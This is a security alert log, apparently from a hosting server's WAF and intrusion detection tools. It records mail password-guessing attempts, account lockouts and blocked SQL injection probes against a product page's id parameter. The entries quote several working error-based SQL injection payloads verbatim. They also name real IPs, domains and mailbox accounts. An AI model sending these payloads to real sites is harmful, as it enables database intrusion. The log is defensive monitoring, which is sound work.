2026-02-02 05:45:28 dovecot_login authenticator failed for H=([117.176.204.214]) [117.176.204.214]:58097: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:45:04 dovecot_login authenticator failed for H=(SnLAr4d) [165.154.217.204]:52592: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 189.151.134.244
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/json_keys((select/**/convert((select/**/concat('~',(select/**/(elt(9565=9565,1))),'~'))/**/using/**/utf8)))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.146.133.117
country_id: 1835841
description:
2026-02-02 05:45:58 dovecot_login authenticator failed for H=([218.146.133.117]) [218.146.133.117]:39901: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:45:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.112
country_id: 1814991
description:
2026-02-02 05:45:12 dovecot_login authenticator failed for H=([27.24.141.112]) [27.24.141.112]:44372: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:45:36 dovecot_login authenticator failed for H=(zRlGcXmhk) [178.16.52.139]:53424: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 51.252.161.40
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(2237=2237,1))),'~'),2237)# xxQPhGeJ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:45:14 dovecot_login authenticator failed for H=(dNIlTlHMQk) [77.83.39.253]:62425: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:45:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61627: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:45:34 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:45:45 dovecot_login authenticator failed for H=(C6O9vIO) [158.94.208.175]:60646: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 51.252.161.40
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/gtid_subset(concat('~',(select/**/(elt(2237=2237,1))),'~'),2237)# xxqphgej||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:46:05 dovecot_login authenticator failed for H=(BJpHRxMIz) [178.16.52.139]:53506: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 189.151.134.244
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"and/**/json_keys((select/**/convert((select/**/concat('~',(select/**/(elt(3742=3742,1))),'~'))/**/using/**/utf8))) and \"dnr4wzjp\"=\"dnr4wzjp\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.247.108.178
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")))and/**/json_keys((select/**/convert((select/**/concat('~',(select/**/(elt(8996=8996,1))),'~'))/**/using/**/utf8))) and (((\"opemzzcm\"=\"opemzzcm\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.247.108.178
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/JSON_KEYS((SELECT/**/CONVERT((SELECT/**/CONCAT('~',(SELECT/**/(ELT(8079=8079,1))),'~'))/**/USING/**/utf8)))# PTAQKhcR HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 189.151.134.244
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\"AND/**/JSON_KEYS((SELECT/**/CONVERT((SELECT/**/CONCAT('~',(SELECT/**/(ELT(3742=3742,1))),'~'))/**/USING/**/utf8))) AND \"dnr4WZjP\"=\"dnr4WZjP\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:46:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:46:24 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:46:52 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35192: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:46:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56487: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.2.229
country_id: 1835841
description:
2026-02-02 05:46:16 dovecot_login authenticator failed for H=([218.156.2.229]) [218.156.2.229]:47082: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:46:26 dovecot_login authenticator failed for H=(XGcJ15) [77.83.39.253]:3367: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:46:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:46:12 dovecot_login authenticator failed for H=(vFP5w0TkJ) [165.154.217.204]:57825: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.247.108.178
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")))AND/**/JSON_KEYS((SELECT/**/CONVERT((SELECT/**/CONCAT('~',(SELECT/**/(ELT(8996=8996,1))),'~'))/**/USING/**/utf8))) AND (((\"opemZZcM\"=\"opemZZcM\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:46:50 dovecot_login authenticator failed for H=(3GaD2QRbo) [165.154.217.204]:60689: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 143.255.85.11
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\")AND/**/9075=CAST('~'||(SELECT/**/(CASE/**/WHEN/**/(9075=9075)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||'~'/**/AS/**/NUMERIC) AND (\"LNDSPHbY\"=\"LNDSPHbY\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:47:10 dovecot_login authenticator failed for H=(6mPrE5) [165.154.217.204]:62054: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:47:13 dovecot_login authenticator failed for H=(rTU1Sbo) [77.83.39.253]:48507: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 143.255.85.11
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/5057=cast(%27~%27||(select/**/(case/**/when/**/(5057=5057)/**/then/**/1/**/else/**/0/**/end))::text||%27~%27/**/as/**/numeric) and (\"zl5fum3r\"=\"zl5fum3r\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.247.108.178
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1'/*!50000AND*/JSON_KEYS((/*!50000SELECT*//*!50000CONVERT*/((/*!50000SELECT*//*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(3616=3616,1))),%27~%27))/**/USING/**/utf8))) OR '7UKzTs00'='eDKA28N0||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.247.108.178
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"and/**/json_keys((select/**/convert((select/**/concat('~',(select/**/(elt(2800=2800,1))),'~'))/**/using/**/utf8))) and \"ra5iehb4\" like \"ra5iehb4||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:47:07 dovecot_login authenticator failed for H=(lmQCtt) [178.16.52.139]:63379: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:47:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:47:15 dovecot_login authenticator failed for H=(yJlZNhYyq) [158.94.208.175]:50096: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:47:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:47:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:47:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51121: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:48:01 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50110: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 143.255.85.11
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'))and/**/1268=cast(%27~%27||(select/**/(case/**/when/**/(1268=1268)/**/then/**/1/**/else/**/0/**/end))::text||%27~%27/**/as/**/numeric) and (('nsg0813h' like 'nsg0813h||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:48:27 dovecot_login authenticator failed for H=(RSI4vlO) [178.16.52.139]:52944: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:48:52 dovecot_login authenticator failed for H=(L8tzWqFoU) [165.154.217.204]:53859: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:48:01 dovecot_login authenticator failed for H=(H18J8q4) [77.83.39.253]:38328: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:48:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.255.85.11
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/2754=CAST('~'||(SELECT/**/(CASE/**/WHEN/**/(2754=2754)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||'~'/**/AS/**/NUMERIC)# i5Slw45K HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 143.255.85.11
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'))ANd/**/1268=cAsT('~'||(sELECt/**/(Case/**/whEn/**/(1268=1268)/**/thEn/**/1/**/ElSE/**/0/**/enD))::TEXT||'~'/**/aS/**/NUMERic) AND (('nsg0813h' LIKE 'nsg0813h||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:48:25 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 189.149.7.197
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1and/**/9735=CaSt(('~'||(SeLEcT/**/(CaSe/**/when/**/(9735=9735)/**/thEn/**/1/**/elsE/**/0/**/end))||'~')/**/As/**/INTEgeR)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:49:00 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55190: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:48:08 dovecot_login authenticator failed for H=(KPAJ8Uh) [165.154.217.204]:49868: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:48:19 dovecot_login authenticator failed for H=(Mw24AcjJ) [158.94.208.175]:53062: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-02-02 05:48:38 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:38316: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 189.149.7.197
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/9735=cast((%27~%27||(select/**/(case/**/when/**/(9735=9735)/**/then/**/1/**/else/**/0/**/end))||%27~%27)/**/as/**/integer)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:49:08 dovecot_login authenticator failed for H=(A7pjgec) [165.154.217.204]:55209: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-02 05:49:12 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:41938: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.149.7.197
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/6852=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(6852=6852)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER)# 6cq5bUR0 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 189.149.7.197
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1') and and/**/1376=cast(('~'||(select/**/(case/**/when/**/(1376=1376)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/integer)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:49:50 dovecot_login authenticator failed for H=(pCIO2kg) [158.94.208.175]:52728: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-02-02 05:49:58 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:54522: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-02-02 05:49:07 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:60514: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:49:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 189.149.7.197
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\" AND AND/**/1110=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(1110=1110)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:49:13 dovecot_login authenticator failed for H=(9FB3xNAsDB) [77.83.39.253]:59148: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:49:22 dovecot_login authenticator failed for H=(WgGEdUGPz) [178.16.52.139]:64899: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:49:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52543: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:50:03 dovecot_login authenticator failed for H=(I0wisifje) [178.16.52.139]:56794: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 189.149.7.197
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/2491=cast(('~'||(select/**/(case/**/when/**/(2491=2491)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/integer) or '1rviukug'='yfekheuy||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 189.149.7.197
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/2491=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(2491=2491)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER) OR '1RVIukUg'='YFEKheUY||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:50:22 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63082: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:50:24 dovecot_login authenticator failed for H=(njnjFNj) [158.94.208.175]:62913: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:50:25 dovecot_login authenticator failed for H=(DYZy2QlF) [77.83.39.253]:1186: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.149.7.197
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/6993=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(6993=6993)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER)# nS5v6Aun HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:50:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:50:05 dovecot_login authenticator failed for H=(UpjmgqEiZm) [165.154.217.204]:60351: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.160.142.182
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')and/**/1939=cast(('~'||(select/**/(case/**/when/**/(1939=1939)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/integer)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.160.142.182
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')AND/**/1939=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(1939=1939)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:51:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49514: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.169.106.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")))and/**/6164=cast(('~'||(select/**/(case/**/when/**/(6164=6164)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/xml) and (((\"qsydtbea\"=\"qsydtbea\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-02-02 05:51:39 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:6204: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:51:02 dovecot_login authenticator failed for H=(Zv1TjNSL) [165.154.217.204]:49613: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:51:03 dovecot_login authenticator failed for H=(gCgSSI78) [165.154.217.204]:49610: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:51:13 dovecot_login authenticator failed for H=(qeyJ7ejSgv) [77.83.39.253]:45907: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-02 05:51:51 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:51:33 dovecot_login authenticator failed for H=(RJGL2C) [178.16.52.139]:58897: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-02 05:51:37 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:43530: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:51:11 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56745: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:51:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.246
country_id: 1814991
description:
2026-02-02 05:51:19 dovecot_login authenticator failed for H=([116.114.84.246]) [116.114.84.246]:45566: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.169.106.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/8590=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(8590=8590)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/XML)# I2yky0WA HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:51:32 dovecot_login authenticator failed for H=(Dz7SVGZS4u) [158.94.208.175]:49970: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.169.106.166
country_id: 1562822
domain: www.aoto.com.my
description:
